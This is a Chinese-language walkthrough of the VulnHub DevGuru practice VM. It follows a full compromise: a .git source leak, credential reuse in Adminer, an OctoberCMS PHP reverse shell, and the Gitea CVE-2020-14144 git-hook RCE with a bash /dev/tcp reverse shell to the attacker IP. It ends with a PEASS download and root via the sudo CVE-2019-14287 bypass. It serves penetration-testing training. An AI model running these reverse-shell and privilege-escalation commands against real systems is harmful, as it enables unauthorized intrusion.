一、环境搭建
VM版本:17.5.1 build-23298084
攻击机:Kali2024(下载地址:https://www.kali.org/)
靶机:vulnhub靶场Devguru(下载地址:https://www.vulnhub.com/entry/devguru-1,620/)
网络环境:两台主机都设置NAT模式
踩坑1:使用vmware workstation打开Devguru,可能存在兼容性问题兼容性,我是选择重试继续安装也能正常玩耍,也可以更改VM虚拟机硬件为16.x。
解决环境配置问题也是安全必修课之一,细心解决并多总结即可!环境准备完毕,就可以娱乐的玩靶场了。
二、信息收集
1、收集IP、端口、目录信息
(1)确定靶机、攻击机IP,Kali攻击机使用ifconfig查看的IP为:192.168.232.128
(2)使用kali的nmap进行网段扫描、全端口扫描:nmap -p 1-65535 192.168.232.0/24
发现靶机的IP为:192.168.232.157 开放端口22、80、8585
(3)实战中优先访问80、8585web页面端口。22是ssh端口可以尝试爆破,不过成功概率极低。
http://192.168.232.157是网站首页,未发现任何可利用信息。
http://192.168.232.157:8585是gitea的首页,gitea版本为1.12.5存在历史漏洞。
(4)扫描http://192.168.232.157站点目录,发现利用点:
/.git/文件泄露 mysql登录地址 /adminer.php
扫描http://192.168.232.157:8585 站点目录,未发现什么有价值的利用点,只有一个登录处。
2、信息整合、漏洞利用
(1)两个登录框的账号密码都未知,威胁建模后,发现/.git/泄露漏洞可以利用,从这里入手。使用git利用工具GitHack-master爬取站点的源码。
(2)成功获得源码文件,开始审计源码,寻找有价值的信息,这里一眼就看到了config配置文件。从配置文件中获取了一个mysql用户。
拿下mysql后台低权限【1】
(3)去站点80端口的/adminer.php后台尝试登录,非常好,成功进入mysql后台。
(4)进入mysql数据库攻击优先顺序:
方法1:权限足够,直接写入一句话拿下网站权限
方法2:翻找数据表获取其他站点的账号密码,再进行后续的提权
(5)这里使用方法2,优先查看backend_user数据表的信息,发现一个账号密码,看样子就知道不容易解密。
(6)目前解密失败就尝试换一种思路,自己创建一个用户,并且权限设置为管理员。
(7)模仿游戏,尽量能设置一样,这样权限也会一样,再把添加的gjc用户加入管理员组中。
拿下october后台权限【2】
(8)从文件名规律猜测存在站点backend,访问站点:http://192.168.232.157/backend,使用创建的账号gjc 密码123456尝试登录,登录成功。
(9)kali工具或者网上搜索october-cms存在已知漏洞,后台可以文件上传、创建网页反弹shell,有兴趣了解参考大神文章:https://blog.csdn.net/m0_66299232/article/details/129119565
october获取网站权限【3】
(10)创建一个网页,写入反弹shell的代码:
function onStart(){
//nc监听7777端口$s=fsockopen("攻击机IP",7777);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}
(11)Kali攻击机nc监听7777端口:nc -lvvp 7777
(12)保持后查看网页,成功反弹shell。
(13)whoami查看权限,只是web权限太低了,靶场最终需要拿下root权限,尝试提权。
(14)翻一下目录,发现/var/backups下面有个备份文件app.ini.bak ,使用cat查看一下,获取到一个gitea和密码UfFPTF8C8jjxVF2m的mysql账号,刚好http://192.168.232.157:8585是gitea,猜测后面肯定有关联,正所谓无巧不成书!
拿下mysql后台高权限【4】
(15)去http://192.168.232.157/adminer.php登录看看,成功进入!
(16)查看user表信息,看到一个frank用户,使用了pbkdf2加密,此处有两种办法:
方法1:查看网站源码,分析加密方式,再根据加密写出解密脚本得到密码。(实战推荐这种)
方法2:修改密码,编辑数据表,修改加密方式为Bcrypt,密码改为123456(靶场推荐这种)
(17)Bcrypt加密网站:https://www.jisuan.mobi/nX7.html。修改两处即可!
拿下gieat站点后台权限【5】
(18)使用账号gieat密码123456成功登录http://192.168.232.157:8585 站点后台。
gieat获取普通用户权限【6】
(19)这里也是难点,gieat站点后台有个远程命令执行漏洞,文章地址:
Exploiting CVE-2020-14144 - GiTea Authenticated Remote Code Execution using git hooks · Podalirius访问http://192.168.232.157:8585/frank/devguru-website/settings/hooks/git/pre-receive写入反弹命令:
bash -c "exec bash -i >& /dev/tcp/192.168.232.128/5566 0>&1"
(20)保存后,Kali创建监听5566端口,按照原理编辑README.md文件。
(21)在文件中随机敲几个空格提交修改,既可成功反弹shell。
(22)查看权限,是frank用户,普通权限,无法查看root目录下面的文件,只能进行权限提升。
三、权限提升
1、Linux常见提权手段总结
【1】内核溢出漏洞提权,例如:cve-2016-5195、cve_2021_4034等,也就是常说的脏牛系。
【2】SUID、SUDO、SUDO历史CVE漏洞提权
【3】Cron计划任务提权、path环境变量提权、NFS协议提权
【4】数据库类型提权、Capability能力
【5】其他.. ....LD_Preload加载\LXD\docker等等
以上是本人学过的linux提权方式,遗漏的欢迎大家评论区补充。
2、上传提权综合类脚本,PEASS-ng.sh工具几乎包含了上面全部手段探测,算是提权神器。windows中也能用。
将脚本放到Kali的root根目录下面,python开启一个服务终端:python -m http.server 8080
然后靶机进入/tmp目录远程下载文件:wget http://192.168.232.128:8080/PEASS-ng.sh
3、进入靶机的/tmp目录下面,可以看到文件被成功访问下载。
4、赋予文件执行权限:chmod +x PEASS-ng.sh
执行文件:./PEASS-ng.sh
工具爬取出了suid等可利用信息,suid、sudo等提权参考文章:https://gtfobins.github.io/
5、sudo -l 查看可利用命令,发现/usr/bin/sqlite3
6、使用命令:sudo /usr/bin/sqlite3 /dev/null '.shell /bin/sh' 发现提权失败,权限不足。
7、因为这里有一个考点,就是sudo版本1.8.21存在CVE-2019-14287漏洞。(CVE-2019-14287学习文章:CVE-2019-14287:sudo权限绕过漏洞分析与复现_运行)
拿下站点root权限【7】
8、将命令修改整理后:sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'
9、至此,靶场完结!!!
四、关卡总结
考点:
1、拿下站点、敏感文件后,需要细心的审计搜索有价值的信息,特别是账号密码。
2、常见网站october、gieat的历史漏洞,利用已知漏洞反弹shell,拿下网站。
3、熟悉数据库后台创建用户,添加用户组,编辑用户的操作。
4、了解linux提权常用操作,内核漏洞>suid/sudo>环境变量/计划任务等等。
难点:
1、常见网站october、gieat的历史漏洞,这些站点的漏洞能否成功利用提权,对于小白来说是块硬骨头。
2、获取mysql的frank用户时,此处用的是修改加密方式、修改密码。实战中此操作风险太高。需要根据前面获得的源码分析加解密方式,才是最安全合理的。但是代码能力要求很高